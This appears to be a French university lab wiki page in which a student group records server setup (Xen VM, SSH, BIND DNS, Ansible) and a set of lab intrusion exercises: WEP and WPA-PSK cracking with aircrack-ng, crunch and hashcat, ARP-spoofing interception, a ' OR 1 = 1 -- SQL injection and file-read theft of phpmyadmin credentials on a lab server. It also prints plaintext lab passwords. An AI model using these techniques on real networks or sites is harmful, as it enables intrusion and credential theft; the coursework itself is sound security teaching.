TP sysres IMA5sc 2020/2021 G9 : Différence entre versions
(→Intrusion sur un serveur d'application Web) |
(→Man In The Middle) |
||
Ligne 173 : | Ligne 173 : | ||
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur. | Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur. | ||
− | + | [[Fichier:Wiresharck.jpg|center]] | |
===Intrusion sur un serveur d'application Web=== | ===Intrusion sur un serveur d'application Web=== |
Version du 21 décembre 2020 à 16:50
Création de la VM
root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5
--- Logical volume --- LV Path /dev/storage/PaulTanguy1 LV Name PaulTanguy1 VG Name storage LV UUID Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:24 --- Logical volume --- LV Path /dev/storage/PaulTanguy2 LV Name PaulTanguy2 VG Name storage LV UUID zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100 LV Status available # open 0 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:25
Services Internet
Serveur SSH
On installe simplement un serveur SSH sur la VM. On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root. On peut s'y connecter à distance avec la commande suivante :
ssh root@ns1.calicedelamort.site
(avec le même mot de passe (pifou) que les machines de TPs)
Serveur DNS
Dans un premier temps, on loue un nom de domaine sur gandi.net. Notre nom de domaine est calicedelamort.site
Ensuite, on installe sur la VM, le paquetage bind9
Une fois ce paquetage installé, on modifie les fichiers de configuration.
Dans /etc/bind/db.calicedelamort.site
;BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.calicedelamort.site. postmaster.calicedelamort.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.calicedelamort.site. @ IN NS ns6.gandi.net. @ IN MX 100 ns1 ns1 IN A 193.48.57.180
Ensuite, dans /etc/bind/named.conf.local
zone "calicedelamort.site" IN { type master; file "/etc/bind/db.calicedelamort.site"; allow-transfer {217.70.177.40;}; };
Et enfin, dans /etc/bind/name.conf.options :
options { directory "/var/cache/bind"; dnssec-enable yes; dnssec-validation auto; listen-on-v6 { any; }; allow-recursion { localhost; }; };
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180. Puis, on ajoute dans serveurs de noms externes :
ns1.calicedelamort.site ns6.gandi.net
Tests d'intrusion
Cassage de clef WEP d'un point d'accés Wifi
En premier lieu, on installe le paquetage aircrack-ng sur un PC.
Ensuite, on utilise les commandes suivantes :
airmon-ng
Cette commande permet d'afficher les interfaces réseau
airmon-ng start <interface>
Pour passer l'interface en mode monitor
airodump-ng --encrypt wep 'nomInterface'
Pour afficher les réseaux wifi WEP
airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'
Pour capturer les paquets émis par le point d'accés ciblé
aircrack-ng -x 'nomFichier'-01.cap
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)
Cassage de mot de passe WPA-PSK par force brute
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK
airodump-ng --encrypt wpa-psk 'nomInterface'
airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible Pour cela, on utilisa la commande :
crunch 8 8 0123456789 > 'nomDuDico.txt'
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :
aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force. La commande est la suivante:
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx
Man In The Middle
(Homme du milieu en anglais)
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :
echo 1 > /proc/sys/net/ipv4/ip_forward
Ensuite on utilise la commande du paquet dsniff :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.58 arpspoof -i eth0 -t 172.26.145.58 172.26.145.254
Enfin, on utilise wireshark pour observer les paquets. Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.
Intrusion sur un serveur d'application Web
Pour cette partie, on se rend sur le lien http://honey.plil.info. Nous y trouvons une page de connexion demandant un login et un password.
N'ayant pas de compte sur ce site, on essaye une simple injection SQL : Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : " ' OR 1 = 1 -- " Ca fonctionne ! Nous avons accès aux informations ci-dessous :
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur. En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.
En parallèle de cela, à l'aide de la commande
dirb http://honey.plil.info/
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php
Nous uploadons et téléchargeons ce fichier depuis la page web :
TP ASR
Ajout d'une seconde interface réseau sur la VM
On se connecte sur capbreton
ssh root@capbreton
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'
nano /etc/xen/Calicedelamort.cfg vif = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP
auto eth1 iface eth1 inet static address 192.168.42.9 netmask 255.255.255.0
Pour finir on réalise une masquarade à l'aide de la commande iptables
iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23
Ansible
Premièrement, on installe ansible sur notre VM sur capbreton
apt install ansible
Ensuite, on génère les clefs ssh avec la commande
ssh-keygen -t rsa
Puis, on installe la clef publique sur les Vms cibles
cat .ssh/id_rsa.pub | ssh root@192.168.42.9 "cat >> /root/.ssh/authorized_keys2" (installation sur notre VM chassiron)